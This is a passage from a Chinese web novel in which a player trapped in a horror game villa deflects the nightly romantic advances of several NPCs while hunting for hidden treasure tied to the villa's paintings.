特别是看向唯一能看的李河山，发现他满脸震惊，眼底满是“还能这样”的惊疑。
程朔内心想哭。
还是回到恐怖游戏模式吧，虽然焦虑，总比在眼下这种犹如凌迟人的感觉中好。
他吐出一口气，发现原本要离开的谢尔还站在原地，硬着头皮看了谢尔一眼。
对方目光灼灼，似乎在等待他的回答。
再看泽恩，一脸微笑，看不出多余神色，也在等他回答。
程朔放弃挣扎，心一横，说出一句：“不需要，我是直男，对男人不感兴趣，之前都是随便说说，你们可别当真。”
反正资料卡里可没说他喜欢男人，只是原身说过，这样应该不算崩人设。
而且也能说明自己的喜好，这样泽恩和谢尔应该不会再对他感兴趣了。
“看来伊索是对谢尔不感兴趣。”泽恩换了个姿势，语调变得散漫，“那我呢？我也可以陪着伊索先生睡觉。”
“不要。”这次程朔拒绝得更快，试图将话题从自己身上转移开，“这么久了，还没有人出来吗？”
或许是
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话题转移成功了，也或许是泽恩没兴趣再继续，他没有回答。
大厅幽静森冷，空气中带着让人不寒而栗的凉意，程朔搓了搓有些发僵的手，放在掌心哈了一口热气。
“冷吗？”泽恩倏然开口。
程朔抬抬眼皮：“不。”
他生怕这人拉过自己的手放在嘴边哈气，直接把手插进口袋中，完美杜绝了这种可能。
按照泽恩的人设，还真能做出那种事。
李河山低咳一声，算是提醒大厅中还有自己存在。
程朔偏头，对上他的目光，在他的眼里看到了明显的震惊。
恐怕此刻李河山才明白，他之前为什么要问出那种奇怪的问题。
——两人玩得好像不是一种游戏。
时间一点点流逝，程朔坐不住，去了好几次卫生间，不是洗脸就是洗手，用来打发时间。
他很想回房间，但显然做不到，只能像个木头被定在椅子上。
时间来到五点，大厅中的氛围随着椅子上出现几个人，终于变得轻快许多。
苏南也出来了，看到程朔顿时想倒苦水，注意到那脸色晦暗不明的泽恩，硬生生把所有话压下去，安静坐在自己位置上。
加上程朔，大厅中的玩家一共有六个，还有七名玩家到现在还被困在那空间中。
程朔瞥了一眼坐在末尾位置上的沈脆。
气氛诡异，每个玩家的头顶随着时间变动好似悬挂着一把锋利闪烁着寒光的剪刀。
他们端坐笔直，不敢随意乱动一下。
随着第七名玩家出现，终于有声音了。
“我靠，那什么玩意，浪费我这么久时间。”男玩家骂骂咧咧地扶着桌面，满脸恼怒，“早知道进去这样，说什么也不凑热闹跟着进去了。”
他说完环顾四周，发现还有人没出来，心情顿时发生了改变。
“这么多人还在里面？看来我运气还挺好啊。”
他运气确实挺好，六点到了，他是最后一个从里面出来的。
“时间到了。”泽恩站起身，微笑道，“大家可以用晚餐了。”
他握着自己的手腕，随意活动着，动作明明十分慵懒，却给人一种说不出的危险感。
15.第十五章
第15章
程朔眼皮一跳，莫名觉得他这个动作在预示着什么。
“用餐愉快。”泽恩只留下一句话，优雅地往楼上走去。
谢尔去准备晚餐了。
两个压迫感极强的人一离开，现场空气都活了。
最后一个出来的玩家忍不住问：“什么情况？现在就剩下我们七个人了？”
“这挺好，竞争少了，再淘汰两个人，剩下的五个人可以合作找宝藏一起通关了。”话是沈脆说的，语气虽然柔弱，却能听出其中的恶劣。
没人说话。
“我说得挺对啊，你们怎么不说话了？”沈脆打量着其他玩家，最后目光落在程朔身上，骤然弯眸，“对不起啊伊索，当时手滑了，不小心把你给推进去了。不过后来我也跟着进去了，想对你道歉，没想到进入了异空间。”
他的语气非常真诚，可那眼底的虚伪已经完全藏不住了。
程朔直接骂他：“我还以为你会被淘汰在了里面，竟然出来了，真是走了狗-屎-运，下次运气别这么好了，直接淘汰里面吧。”
这话一出，其他玩家扭动着嘴，差点笑出声来。
沈脆捋了下头发：“你说对了，我真是走了狗-屎-运，希望着狗屎运能坚持久一点，让我通关。”
“别想了。”苏南说，“时间已经过去两天，不仅没一点线索，别墅内还有陷阱，再这样下去我们都得去淘汰局争那唯一的碎片。”
现场没被淘汰的人程朔都有印象，知道名字。
他、苏南、李河山、沈脆、询风、东为、王克之。
询风和李河山人看着不错，王克之是第七位出来的玩家，性格有些暴躁，沈脆是程朔最不想接触的。
东为看起来刚成年，除了昨天介绍外就没再说过话，是存活玩家中唯一的女生。
苏南的话让王克之烦躁起来：“那现在怎么办？进入异空间都是侥幸逃出来，别说后面要是再碰到什么危险。”
“这别墅里还不止我们。”询风出声提醒，“说不定画中的那些东西就在某一处盯着我们。”
“我在异空间的时候也这么想。”李河山开口，“管家之前说的话，可能就是画中东西是活着并存在别墅中的，或许我们完全可以从画入手。”
管家推着餐车过来，众人停止交谈。
程朔目光掠过墙壁上的画，或许是大厅中亮着的光导致，在他眼中那些画好似在同一时间活了。
所有画面不再是死气沉沉，而像是游动的雾，飘荡在眼前。
程朔盯着谢尔放下晚餐，忽然开口：“你们有没有想过宝藏是什么东西？”
“还能是什么，碎片啊，这不是明显的。”王克之下意识说。
“不一定。”李河山摇头，否定了他的说法，“要是碎片太容易找到了，肯定是其他东西，估计只有找到的时候才会显现成碎片。”
“真是复杂。”王克之吐槽道，“把我这种人拉进来干什么，没智商只有武力值有什么用。”
“武力值也挺有用的。”沈脆瑟缩了下，一副害怕的模样，“打不过你的人不都是只能听你的话吗？”
变相提醒着什么的话让在场玩家愣住，紧接着王克之摩拳擦掌，环顾其余人一眼，咧嘴露出白牙笑了：“你说得太对了。”
沈脆这人完全就是一种看热闹不嫌事大的设定，也是最讨人嫌的。
程朔默不作声地吃着晚餐。
晚餐是牛排，本该挺美味的食物或许是因为人数减少的原因，导致觉得没那么好吃。
程朔两口就腻了，放下刀叉。
只是发出了一点声音，沈脆直接把话题引到他身上。
“我觉得伊索很聪明，你和伊索一起合作，肯定能找到宝藏。一个出脑力，一个出武力，到时候可要罩着我啊。”
他看向程朔，眼睛都笑弯了，语气里却都是惧意和讨好。
沈脆或许不是针对程朔，是想针对所有人，只是目前阶段还没法针对所有人。
程朔拿起放下的刀叉，无聊地在盘子上摩擦着。
刺耳难听的声音充斥在客厅，沈脆和王克之皱起眉头。
程朔玩够了，举起来刀，在手中来回旋转着，随后往空中一抛，又完美接住。
下一秒，还在手中的刀猝不及防飞出，直逼沈脆。
一切发生得太突然，谁也没想到他会把刀扔过来，沈脆脸上的表情甚至都没时间变化，下意识起身躲开。
刀子越过沈脆原本所在的位置，飞向墙壁，“蹭”一声刺入墙体。
谢尔面无表情地看着这一幕，没有出声，似乎并不觉得这件事有什么。
大厅中氛围怪异，空气几乎凝固，几位玩家面面相觑，满眼诧异。
只有程朔，看着那刺入墙体的刀表情有一瞬间的不明。
他低着头，用双手撑着下巴，侧脸看上去冰冷难以靠近。
所有人还以为他在发脾气，但程朔本人差点没忍住笑场。
他就随便一丢，真没想到这刀能飞这么远，还刺入墙里了。
别说其他人吓到了，他自己也被吓住，但看到沈脆变化的脸色强行让自己低头别暴露。
怪不得有些人喜欢装，真的很爽。
“大家都是玩家，要和谐相处，和谐相处。”王克之举起手，露齿一笑，表示自己的友好，“千万别打起来，时间本来就不够了，要是内讧我们真就所有人过不了副本了。”
“沈脆闭嘴就行了。”苏南知道沈脆什么德行，反正在场也没剩多少玩家，打开天窗说亮话，“怕捕捉者发现伪装人设可以，别太过分。”
“看来大家都知道捕捉者？我还以为就我一个知道呢。”王克之挠头。
沈脆扯了扯唇，笑意略微勉强。
他走到墙前将刀拔下，快步停在程朔身边递过去：“还你。”
语气听起来好像什么都没发生。
程朔抬头，神色冷淡地接过。
既然沈脆喜欢演，他也奉陪到底：“刀在这你这啊，我说怎么不见了呢。”
苏南没忍住笑出声，扭动着嘴憋着笑。
程朔扔下刀，擦干净嘴，抬抬眼镜站起身：“我吃完了，先回房间休息了。”
折腾一天了，他目前只想在房间理理思绪。
程朔越过沈脆，往楼上走去。
谢尔这次全程围观，倒是没说什么，程朔好奇他的安静，走上二楼时站在楼梯处往下看了一眼。
谢尔仰着头，恰好在看着他这边，没有多少情绪的双眸
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在与他目光碰撞的一刹那荡漾出温柔的笑意。
随即那张薄唇缓缓上扬，似在朝他打招呼。
程朔觉得这个笑容不太妙，跟在提醒什么一样。
他收回目光，希望今晚别再发生昨天晚上的事，快步走进房间，直接将门反锁。
就不信三楼那两人今天晚上还能进来。
程朔打开柜子，拿出一身干净衣服进入卫生间洗澡。
洗到一半，听见敲门声，程朔还以为是谢尔来了，从卫生间探出脑袋：“谁？”
“我。”沈脆的声音响起。
程朔更觉得晦气，缩回脑袋继续洗。
沈脆就像知道他在洗澡，抬高声音：“我想和你谈谈。”
程朔不耐烦喊道：“我和你没有好谈的。”
“我已经有线索了，我们可以合作，你难道不想尽快离开这个游戏吗？”沈脆压低声音说。
程朔关闭了花洒，所以正好可以听清，闻言觉得好笑。
这人之前逗他，现在还想把他当成傻子耍。
伊索人设是讨嫌糟糕，可不是二傻子。
程朔快去换上干净的衣服，戴好眼镜，擦拭着头发走到门口打开门。
门外的沈脆咧嘴一笑，还以为成功说动程朔，没想到门缝中露出程朔半张脸。
他头发湿漉漉地贴在额头，眼神鄙夷地盯着他，随后伸出手。
沈脆隐约感觉到什么，想离开没来得及，眼睁睁看着程朔对他竖起中指，神色不屑。
“有线索你就去找宝藏然后离开，别来烦人。”
下一秒门关上，不再给他任何说话的机会。
苏南吃撑了，刚好捂着肚子上来，目睹这一幕笑得合不拢嘴，路过沈脆时说：“结合你之前说的话，我都怀疑你喜欢伊索。”
“要不然怎么总凑到人跟前找存在感。”苏南打开自己房间门，没得到回应后退一步，看向沈脆，“你不反驳？我说对了？”
没搞错吧，玩个游戏还弄上暗恋了？
他觉得唏嘘。
“只是感兴趣啦。”沈脆笑嘻嘻道，“我还是分得清现在在哪里的。”
“知道在申金游戏里还这么不识趣。”苏南撇嘴进入房间，关上门没再理会。
沈脆敲门，让程朔把门打开，等确定里面的人听不见，又或者是不会开门才抬脚往自己的房间走去。
身后传来强烈的注视感，沈脆停下步伐，等了两秒才猛地转身看去。
身后空荡荡，什么都没有，他拧眉继续往前走。
开关门声响起，过了一分钟，才再次响起关门声。
这次走廊彻底安静下来。
站在楼梯处的身影往下走了两步，看看程朔的房门，又看向里面沈脆所住的房间，抿紧的唇更是用了几分力，眼底闪过强烈的不满。
*
程朔听见了苏南和沈脆的聊天，没放在心上，毕竟沈脆这种人说的话一个字都不能信。
头发擦到差不多干，他用吹风机随便吹了几下，彻底干后躺在床上。
没手机真无聊。
程朔盯着头顶床板，迷糊地想着。
时间缓慢流逝，不知道过去多久，他意识越来越恍惚，差点睡去时，房门把手转动的声音响起。
16.第十六章
第16章
程朔瞬间清醒，背脊随着门锁的声音浮出一层寒意，扭头死死盯着大门方向。
昏暗的四周只能隐约看清一点大概，门把手轻轻转动，最后竟真的就那样打开。
程朔确定自己反锁了房门，这人能进来要么是有钥匙，要么就用了特殊方法。
他皱眉从床上坐起，拿起坚硬的枕头，不知道来人是谁。
窗外月光透过被风吹起的窗帘跳跃进来，微弱的光芒中，程朔看清了走进来的人。
是那个看起来非常斯文败类的男人。
他几乎是轻车熟路地来到程朔身边坐下，要去搂他：“伊索，想我了吗？”
“我的枕头想你了。”程朔说，毫不客气对着他脑袋给了一枕头，快速站起身，“我今天晚上不想见到你，你出去。”
没等眼前的男人有所动作，门再一次以同样的方法打开了。
看着偷偷摸摸进来的棕发娃娃脸，程朔拿起枕头，想一人一下给捶飞出去。
“你们到底怎么进来的？”他扬眉冷笑，“我的房间是你们能随便进来的吗？”
“当初不是说好的，每晚我来陪你吗？”棕发娃娃脸有些委屈地站在他面前，“现在不仅多了个人，还不让我来了。”
程朔脸皮已经练得非常厚了，对这话没什么反应不说，还能开开玩笑：“我这人说话向来不算话。”
他斜睨斯文败类男一眼：“我现在腻了你们俩，出去吧。”
“你是不是看中管家了？”斯文败类男忽然开口。
“你要是不会说话就别说话。”棕发娃娃脸顿时不高兴道，“伊索怎么会看上管家那种无趣之人，还是最喜欢我。”
他伸手要去抱程朔，被程朔迅速避开。
“你们两个我都不喜欢。”程朔捏着眉心，想把话说绝，脑海里倏然闪过什么，抬头看向两人，“我喜欢能告诉我别墅中宝藏在哪里的人。”
反正躲不开，那不如主动出击，从他们身上挖挖线索。
不挖白不挖。
“宝藏？”斯文败类男皱眉沉思，“从我被邀请来这里，压根没听过什么宝藏。”
“伊索，森洛是个什么都不知道的废物，还不能让你快乐，你留下我，想知道什么我都能告诉你。”棕发娃娃脸伸手抓住程朔，脸颊在他肩膀处蹭了蹭，“莱非才是最了解你的人。”
程朔嘴角微不可察地抽了抽。
森洛和莱非，再加上管家和主人，这些NPC名字都是两个字的。
“我累了。”程朔点到为止，一脸疲惫地推开莱非。
“你不是好奇宝藏吗？”莱非眨眨眼。
他长得确实可爱，光对视一眼就能让人放下心中所有事，想和他聊聊天，甚至想掐下他看着就嫩的脸颊。
当然，程朔对他只有一种面对小弟弟的喜欢感，并无其他。
他挥挥手：“现在累了，我要休息了，有什么话明天白天再说。”
“白天我们不能出现在二楼，这是多塔别墅的规矩。”森洛欲言又止，最终才开口，“伊索，你确定不选择我吗？我比某个废物有用多了。”
“你才废物。”莱非恶狠狠地瞪着他。
程朔捕捉到一点信息，怕这样下去又会把谢尔招来，抬手阻止两人继续争吵：“别说了，我没再跟你们开玩笑。”
充满不耐与烦躁的语气，是个人多数都会不爽恼怒，但眼前两个男人就像是被伊索下了魔咒，就算被这么对待依旧想留下来陪他。
程朔怀疑伊索身上有万人迷buff。
“宝藏我也知道。”森洛说，“而且我能帮伊索找到，莱非不行。”
“别听他胡说。”
“莱非胆子小。”森洛微笑。
程朔心里有了猜测，如果森洛说的是实话，那藏宝藏的地方应该挺危险恐怖，不然不会扯上胆子小这种话。
“我胆子不小。”莱非紧紧抱住程朔手臂。
森洛嗤笑一声，满脸蔑视。
程朔发现他这人性格也挺恶劣，如果撇开其他不说，他和伊索还挺适合。
“要是我说出宝藏，伊索会和我在一起吗？”森洛抓住程朔的手，微笑道。
“伊索选我。”莱非说，“我比森洛知道得多。”
右手手臂被莱非紧紧抱住，好像挂着一只猫，左手被森洛握住，力道正在逐渐收紧，提醒着他的选择。
程朔哪里面对过这样的场面，身体紧绷片刻，漠然抽出手臂与手：“那就要看你们掌握的线索了。”
柔和温暖的灯光下，戴着眼镜的青年脸上表情或许冷淡，导致显得木讷，可又在暖光的照耀下充满生气，硬生生将那份木讷弄消失。
他皮肤白净，像是精心塑造出的瓷器，素净淡雅，挑不出一丝瑕疵，越看越让人喜欢。
程朔在他们两人脸上看到了痴迷，起了一身鸡皮疙瘩。
他确定了，自己还是适合恐怖吓人副本。
恋爱攻略什么的还是算了，不适合他这种直男，与其在这里肉麻还不如去想破脑袋解密。
森洛说：“我来的时候听泽恩提起过宝藏，那个时候他还没有完全遗忘宝藏的位置，跟我说过一次方向。”
“他只知道大概方向，我知道宝藏的样子。”莱非有些高傲地开口，“所以我是最好的选择。”
程朔头疼，短暂思考后淡声开口：“那你们两个都说说吧。”
“宝藏是张画。”森洛还在迟疑之际，莱非已经率先开口。
画？
程朔想起来别墅里三十幅画，难不成所谓的五份宝藏就是其中五幅画。
“不是。”森洛摇头否认掉莱非的话，“宝藏不是画。”
“就是画。”
“不是画。”
眼见两人要因为这个打起来，程朔一个脑袋两个大，微怒道：“你们再这么幼稚就离开我的房间。”
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>两人瞬间安静。
“伊索，我是画家，你如果想找到宝藏，带上我最好。”莱非低声说，“不过我的条件是你要撵走森洛。”
森洛冷不丁开口：“所谓的画是宝藏就是一句谎话，伊索不可能相信你。”
程朔这下是真的不耐烦起来：“你说宝藏不是画，你倒是说出来宝藏是什么？”
“是一本画册。”森洛顿了顿，“我恰好还记得画册在的地方。”
又是画，又是画册，看着这宝藏跟画确实是脱离不了关系。
程朔敛眸沉思，耳边忽然响起由远及近的脚步声。
他顿时一手一个，捂住两人的嘴，拼命使眼色示意他们安分点。
程朔没听错，门外走廊确实有脚步声，并且最终停在他的房间门口。
“咚咚咚。”下一秒，带有节奏的敲门声响起，却没有人说话。
是谁？
这个点玩家出不来，三楼这两人又在自己房间，能够在外面敲门的要么是谢尔要么是泽恩。
无论是谁，程朔都不想面对。
他索性装作自己睡着了，没有听见敲门声。
温热的呼吸打在手指上，程朔不适应地看向森洛，皱眉无声开警告：“呼吸轻一些。”
森洛唇角上扬，露出了一个算不上好的笑容。
下一秒，掌心被湿热的舌头舔了一下。
程朔一阵恶寒，几乎是反射性地给了他一掌。
死变态！
“啪。”沉闷的巴掌声落下，整个世界都安静了。
程朔浑身难受地看看掌心，压制住割掉手的冲动，又看看被打了反而笑得更加开心的森洛，目光移到门上。
“咚咚咚。”门外再次响起敲门声，伴随着的是泽恩低沉磁性的嗓音。
“伊索先生，我知道你没有睡。”
程朔沉默片刻，收回放在莱非嘴上的手，警告他别说声，干笑出声：“确实没睡，刚刚在打蚊子，我已经躺下了，有事吗？”
“我睡不着，想与伊索先生谈谈心。”泽恩说。
程朔下意识开口：“不用了，我困了。”
他故意发出打哈欠的声音，希望泽恩赶紧离开。
“是吗？”一门之隔，泽恩略微上扬的语调让人捉摸不透内心想法，但莫名令人发怵。
程朔隐隐有种不太好的预感，果然下一秒，泽恩笑了一声。
“伊索先生困了没关系，我可以陪着伊索先生一起睡。”
一起睡还要排队，泽恩是第三个。
程朔瞥了眼房间内的两人，头疼无比。
他真的很想把谢尔也叫过来，求这四个人换个玩家薅。
“有人在我睡不着。”沉默良久，程朔婉拒。
门外的男人没再开口，就在时间长到程朔以为他离开时，那熟悉的漫不经心语调再一次响起。
“这样的话，确实很遗憾。”泽恩说，“那另外的呢？”
17.第十七章
第17章
什么另外……泽恩知道他房间里的这两人？
程朔掌心略微出汗，想进卫生间洗手，又怕暴露了自己没睡泽恩更加不肯离开，只能站在原地，大脑一刻不停地飞快运转着。
好在僵持不下时，门外响起离开的脚步声。
程朔不放心，走到门口开门确保泽恩离开才松了一口气。
“你们两个赶紧出去。”他扭头催促，“宝藏的事明天再说。”
“不行。”莱非连忙开口，“我今晚要留下陪你。”
“不用你陪。”程朔皱眉，“我喜欢自己睡，你们快走。”
森洛扬唇一笑：“这个恐怕不行。”
程朔挑眉，森洛缓缓走到他身边，关上门俯身看他：“毕竟我可不是随便招之即来挥之即去的人。”
程朔讨厌他笑，想起他之前舔手掌，更是汗毛倒竖，恨不得一拳把他打晕扔出去。
“是吗？”他挺直背脊，用手臂抵住森洛想要压下来的脑袋，眼神冰冷，“我快没耐心了。”
“我看得出来。”森洛站直身体，弯眸一笑，“所以伊索不要再说了，直接睡吧。”
程朔很想把他的舌头捋直，让他把话说清楚，别说一些老让人多想，过不了审核的话。
莱非站在原地，虽然没多说什么，但摆明了也不想离开。
程朔是真的头疼，缓缓走到床上躺下，警告出声：“你们两个睡上铺，不要睡在我旁边。”
只要不和他一起睡，想留在这里就留吧，明天等他醒来正好可以继续问宝藏的事。
虽然还不知道两人嘴里的话是真是假。
“伊索要一个人睡吗？”莱非站在床边，可怜兮兮地俯身盯着他，“一个人睡觉多冷啊，让我陪你一起睡，给你暖床。”
程朔眼睛都没睁一下：“滚开。”
“好的。”回应他的是莱非带着满满笑意的话。
程朔想起一个词，受虐狂。
这两人莫不是有什么特殊-癖-好，才会黏着伊索。
什么破游戏，绕在他身边的没一个正常人。
这样下去迟早得疯。
程朔迷迷糊糊睡过去。
恍惚中，他听见了窸窸窣窣声，并没在意，继续睡去。
直到意识突然无缘无故变得清醒，程朔睁开眼，扶好从脸上差点掉下去的眼镜。
眼前一片昏暗，窗帘似乎被人拉开了，皎洁的月光从窗外照射进来。
程朔翻个身，手碰到了什么。
他一愣，不可置信地伸手，确实摸到了衣服。
是谁？
月光之下，房间里并没有多黑，能看清身侧躺着的身影。
对方背对着他，根本看不清脸。
程朔下意识抬头看向上铺，对上两个探出来的脑袋差点吓疯。
森洛和莱非趴在床上往下看他，表情复杂，想说什么又忍住了。
程朔大脑逐渐空白。
这两人在上铺，躺在他床上的是谁？
一个答案闯入脑中，程朔不愿意接受，还没来得及有所反应，腰上多出一只手。
视线里闯入一张熟悉的脸，是管家谢尔。
对上男人棕色夹杂着笑意的双眸，程朔快崩溃了。
“你怎么进来的？不对，你们是怎么回事？”他想起白天谢尔对自己露出的那个笑，原来在这等着自己。
“现在该我了。”沉默之中，森洛忽然开口，从床上跳下来站在床边，脸色不明地催促，“谢尔，你下来。”
程朔闻言更加崩溃：“你们三个来我房间里斗地主呢？”
一句话仿佛触发了什么关键词，上铺的莱非顿时咧嘴弯眸：“你现在想玩吗？也不是不可以。”
眼看着他从床上翻找着什么，程朔头皮发麻，真怕他拿出不该拿的，下床就想跑。
都喜欢他这个房间，他这张床干脆留给他们三人得了。
“我刚好带了。”莱非举起手中的扑克牌，“来让我们快乐快乐吧。”
程朔：“……”
神经。
他想起昨晚让人误会的话，忍了又忍，才绷住脸上的表情问：“快乐的事就是这个吗？”
“不然伊索以为呢？”莱菲好奇地反问，隐约可见脸上的无辜。
程朔真的想骂人了。
他觉得自己就像个球，被游戏耍，被这些NPC耍。
太可恶了。
“该我陪睡了。”森洛比人机还人机，根本听不懂他的话，眼睛直直地盯着谢尔重复，“你下来。”
“不用。”程朔抬抬眼镜，冷漠道，“他可以不用下来，你想睡直接躺上去就行了，你们三个留在这里吧。”
“不要。”森洛抓住他的手腕，柔声说，“我想和你一起睡，不想和管家。”
谢
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尔坐在床上，静静地看着这一幕，程朔感觉他的视线缓缓落在了森洛握着他的手腕上，下意识甩开森洛的手。
“我睡不着了。”程朔打开门，脸贴在透明屏障上才反应过来自己这个点出不去。
这一贴，他眼镜都歪了，后退两步才刚抬手准备将眼镜扶好，有一只手先他一步取下眼镜。
眼前一片模糊，只剩下明显的颜色，程朔扭头，拿着眼镜的人离他三米远，看不清脸，更加看不清衣服。
他气笑了，伸出手：“眼镜还给我。”
“伊索亲我一口，我就还给你。”森洛的声音响起。
他举起眼镜，脸上满是引诱的笑意。
别说亲了，程朔觉得自己现在没动手都是客气的。
他实在看不清，眯起眼睛确定森洛的位置，快步靠近。
“在我没生气之前把眼镜还给我，一切好说。”程朔伸手去够，痛恨伊索的身高设定太矮，手在空中晃悠半天都没抓住，冷漠皱眉，“森洛，你找死吗？”
昏暗之中，青年那双浅棕色的眼里闪烁着明显的愤怒，使得他那张脸一下变得生动可爱起来。
森洛笑吟吟抬手去抚摸：“我只是想和伊索变得亲密。”
程朔非常讨厌这种情景下说这种话，低头正思考着是踹森洛两腿中间还是踩他的脚时，一道淡漠的声音响起：“别玩了。”
脚步声传来，有只手扶住他的下巴将他的脑袋抬起，动作温柔，并不让他抵触。
眼镜被小心翼翼地戴上，视线变得清晰，管家谢尔温柔的面容出现在眼前。
“抱歉。”他低声说，“今晚是我唐突吓到你了。”
“装什么。”森洛对此不屑一顾，“你觉得伊索吃这套吗？”
伊索吃不吃这套程朔不知道，他反正挺吃的。
“为表歉意，我可以回答伊索先生一个问题。”谢尔松开扶着下巴的手，将他有些凌乱的刘海弄好，随即缓缓站直身体，温声道，“伊索先生可以问了。”
或许是管家弄刘海导致的，程朔总觉得心里痒痒的。
一种非常异样的情绪在心里滋生，慢慢将他包围，让他的思绪变得稍微缓慢起来，以至于错失了这个问询宝藏的机会，而是问了一句每次想起来都想咬舌头的话。
“你喜欢我吗？”
谢尔明显一怔，弯唇笑出声：“当然，这里有谁不喜欢伊索先生吗？”
18.第十八章
第18章
刚从床上下来的莱非举手：“我也喜欢伊索先生。”
森洛撇嘴：“伊索不要被他迷惑了。”
程朔问完的那一刻就已经后悔了，试图挣扎：“我要问的不是这个，泽恩说的宝藏在哪里？”
“宝藏的事我不清楚。”谢尔一顿，“别墅中有许多宝藏。”
没头没尾的一句话让本来就难以进行的寻宝事件更加迷离了。
程朔眼皮乱跳，放弃从他身上找线索的想法。
“我知道宝藏在哪里，伊索是不相信我吗？”森洛抿唇，脸色不悦。
程朔不是不信，而是不想和他接触了。
谢尔作为管家都不知道，估计森洛的线索不太准确，另外的莱非也差不多情况。
“我要接着睡觉。”程朔冷着脸，走到门口拉开大门，“你们出去吧。”
“不能一起睡吗？”莱非可惜地问，“我还不想离开。回到三楼只有冰冷的房间。这里有你，我想和你在一起。”
乍一听就跟表白一样的话语让程朔多少有些尴尬。
他倒是不讨厌莱非，觉得他很可爱，像弟弟一样。
曾经许多次他都在想自己要是有个弟弟会是什么样，也许就像现在的莱非这般。
但他讨厌会戏谑人的森洛。
“不行。”程朔拒绝，避开三人灼热的目光，“这是我的房间，我只想一个人休息。”
他说得够清楚了，房间里一时间却没有任何声音。
程朔一开始还以为是三人不想离开，集体沉默抗议，直到注意到他们每个人的脸色都太奇怪，仔细打量，发现三人都统一看向门口，不由得挑眉。
门口有什么吗？
程朔偏头，瞬间愣住。
走廊灯光照耀下，门口不知何时多了一个身影，安静地站在那里。
修长高大的身形无一不在透露着压迫感，他表情淡漠，甚至有些高高在上地睥睨着房间内的情况，随后露出一抹算不上笑的表情，低低地说了一句：“好热闹啊。”
程朔头皮一紧，从他这句像是感慨的话中体会到一丝不爽。
可不热闹吗？再来三个可以凑两桌麻将了。
程朔抿唇，嘴巴太快脑子没跟上：“是挺热闹的，你要进来一起热闹热闹吗？”
……
周遭死寂一片，在场每个人脸色精彩万分，即使房间昏暗也挡不住。
程朔想一巴掌把自己呼晕过去。
他到底是怎么说出这种邀请的。
舌头好像在嘴巴里打结，张嘴半天都没能发出声音，程朔干脆放弃，斜睨了三人一眼：“我要睡觉了。”
他破罐子破摔，目前只想把人都清出去，剩下的白天再说。
“晚安。”这一次或许是因为泽恩在，莱非没有犹豫，笑着打完招呼率先离开。
程朔眼睁睁看着他侧着身从泽恩身边经过，小心翼翼地，生怕不小心碰到泽恩的衣服。
他们好像都挺害怕泽恩。
程朔心想自己也挺害怕，怵得慌。
森洛欲言又止，最后抬眸看向程朔：“那我走了。”
他还有些依依不舍，似乎在等待程朔挽留。
程朔不会挽留，要非说留下一个人，只会是谢尔，绝对不会是森洛。
“晚安。”森洛失落地叹息，“伊索，明天见。”
他抬脚，避开泽恩，面上挂着温柔的笑，路过泽恩后对泽恩也说了一句“晚安”。
房间里只剩下谢尔，门口泽恩依旧保持着那个姿势。
这个时候程朔才发现他穿着的是睡衣。
不知道为什么，程朔脑子里忽然不合时宜地想起其他人让他勾引的话。
不然他直接舍身换取线索，离开这个疯狂的游戏得了。
程朔微歪脑袋，目光肆无忌惮地落在泽恩那张一眼就忘不掉的脸上。
或许是盯得太久，原本垂眸不知道在想什么的泽恩倏然抬起眼皮，散漫带着危险情绪的目光落在程朔身上。
程朔顿时收回目光，无聊地晃荡着双手，又抓抓耳朵，提醒谢尔来转移注意力：“很晚了，你也该离开了。”
谢尔微笑：“那晚安，伊索先生，做个好梦。”
他迈开长腿，缓缓离开房间。
脚步声愈来愈远，直到听不见，门口还站着泽恩。
他看上去并没有要离开的打算，双眸轻眯了下，似乎在考虑着什么。
程朔强行打断男人的思索：“我困了，要继续睡觉了。”
他快步走到门口，手扶着把手，随时准备关门。
原以为泽恩会阻止，没想到他只是静静地站在那里，神色漫不经心的。
程朔尝试关门，轻而易举地关上了。
这人不变态还有点让人适应不了。
程朔纳闷，以为他会强行进来。
房门关闭，只能透过门下的缝隙看到泽恩的倒影。
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他伫立在门前良久，才轻声开口：“晚安。”
一句像是压着许多情绪的话让程朔起了一身鸡皮疙瘩，他没有回复，边转身边搓着手臂，快到床边时想起什么，飞快返回反锁房门。
门口挪动的黑影听见他反锁的动作一顿，随后一声充满愉悦的低笑声传进房间。
程朔能听出他是真高兴，但不知道有什么好高兴的，返回床上，倒头就睡，一觉睡到天亮。
阳光从窗外照射进来，程朔揉着眼坐起身，脑袋反射性仰起去找上铺的身影，看到是空的才想起后半夜发生的事。
白天的脑子比晚上灵活聪明多了，程朔一想到昨晚的事就一顿憋屈，想换房间。
还要住好几晚，如果每天晚上都有人来夜袭，那他和NPC之间绝对要疯一个。
程朔叹息，一想到伊索和四个男人之间错综复杂的关系，吃早饭的心情都没了。
他摇摇晃晃地进入卫生间洗漱，最后穿戴整齐打开房门，刚好迎上准备敲门的谢尔。
“早安，伊索先生。”谢尔俊美的脸上露出温柔的笑，可以看出昨天休息得挺不错。
程朔没理他，也实在不知道说什么，确定能出去后直接下楼。
泽恩早就坐在楼下。
程朔见状偷偷摸摸地下楼，就怕他听见动静。
结果泽恩就像是后脑勺长眼睛一般，他刚走几步就扭头看来。
四目相对，他并没有像之前那样温柔热情，眼里情绪很淡，可以说没有一点温度。
难不成生气了。
想起昨晚的事，程朔撇嘴，心说小气。
也可能是吃醋了。
毕竟泽恩看起来还算喜欢伊索，看到他顶着伊索的壳子和其他男人在一起，肯定会吃醋。
程朔原本弯了点的背脊在泽恩的注视下只能努力挺直，慢吞吞走到自己位置坐下。
“伊索先生没睡好吗？”屁股刚沾到椅子，泽恩的声音响起。
没等程朔回答，眼镜被拿掉，脸颊上多了一只手。
泽恩拇指动作轻柔地在他眼下摩挲着，声音略微低哑：“都有黑眼圈了。”
可能是因为手很冷，程朔觉得眼下痒痒的，下意识抓住泽恩的手指：“没有，睡得挺好，你别乱摸我的脸。”
他都没看到自己有黑眼圈。
程朔拿起眼镜重新戴上，对上泽恩意味不明的微笑，有些后悔。
早知道瞎着了。
19.第十九章
第19章
泽恩收回手，左手大拇指有一下没一下地抚摸着刚刚被程朔抓住的地方，像是在回味被触碰的感觉。
程朔简直没眼看，默默地转移视线，心里默念：他是变态，他是变态，他做什么都合理，目前还算是比较正常。
洗脑催眠自己半分钟，心情好多了，再加上其他玩家都下来了，他注意力很快被分散。
苏南冲程朔点点头，不停打哈欠，看起来昨天没睡好。
几人纷纷落座，谢尔拿出准备好的食物。
三明治和沙拉。
程朔一大早没什么胃口，只想吃辣的，一看到这更是没兴趣，拿起随便咬了两口垫肚子。
泽恩吃饭的动作很慢，一个三明治被他吃出了昂贵大餐的感觉，举手投足间都透着矜贵优雅，不像是在吃饭，倒像是在表演怎么做一个贵公子。
